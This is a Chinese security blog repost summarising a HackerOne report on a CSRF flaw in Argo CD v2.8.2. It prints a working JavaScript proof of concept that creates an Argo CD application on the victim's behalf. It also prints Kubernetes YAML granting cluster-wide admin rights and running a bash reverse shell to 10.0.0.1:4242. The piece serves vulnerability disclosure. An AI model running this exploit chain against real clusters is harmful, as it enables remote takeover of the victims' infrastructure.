价值$4,660的CSRF漏洞

admin 2024年7月3日09:11:26评论6 views字数 1609阅读5分21秒阅读模式

01CSRF扩大战果

CSRF 攻击的工作原理是诱骗经过身份验证的 Argo CD 用户加载一个网页,该网页包含代表受害者调用 Argo CD API 端点的代码。例如,攻击者可以向 Argo CD 用户发送一个指向页面的链接,该页面看起来无害,但在后台调用 Argo CD API 端点以创建运行恶意代码的应用程序。

使用 Argo CD v2.8.2 启动一个示例环境来测试。攻击者控制 marketing.victim.com 的内容(例如,通过存储的 XSS)并希望以 argocd.internal.victim.com 为目标

本来CSRF危害是比较小的,但是如果CSRF可以在Kubernetes集群上创建具有管理员权限的pod,那么这个危害瞬间翻倍!

POC:

var xhr = new XMLHttpRequest();xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');xhr.setRequestHeader('Content-Type', 'text/plain')xhr.withCredentials = true;xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/califio/argotest1","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')

其中repoURL指向具有yaml定义的存储库,如:

apiVersion: v1kind: ServiceAccountmetadata:  name: my-sa---apiVersion: v1kind: Podmetadata:  name: my-podspec:  serviceAccountName: my-sa  containers:  - name: ubuntu    image: ubuntu:latest    command: ["bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:  name: my-rolerules:- apiGroups: [""]  resources: ["*"]  verbs: ["*"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: my-rolebindingsubjects:- kind: ServiceAccount  name: my-sa  namespace: defaultroleRef:  kind: ClusterRole  name: my-role  apiGroup: rbac.authorization.k8s.io

这样子,CSRF搭配RCE,漏洞价值就急剧提升,把一个低危的漏洞变成了高危,不得不佩服歪果仁的脑洞,赏金截图

价值$4,660的CSRF漏洞

原文链接:

https://hackerone.com/reports/2326194

原文始发于微信公众号(道玄网安驿站):价值$4,660的CSRF漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日09:11:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   价值$4,660的CSRF漏洞https://cn-sec.com/archives/2840805.html

发表评论

匿名网友 填写信息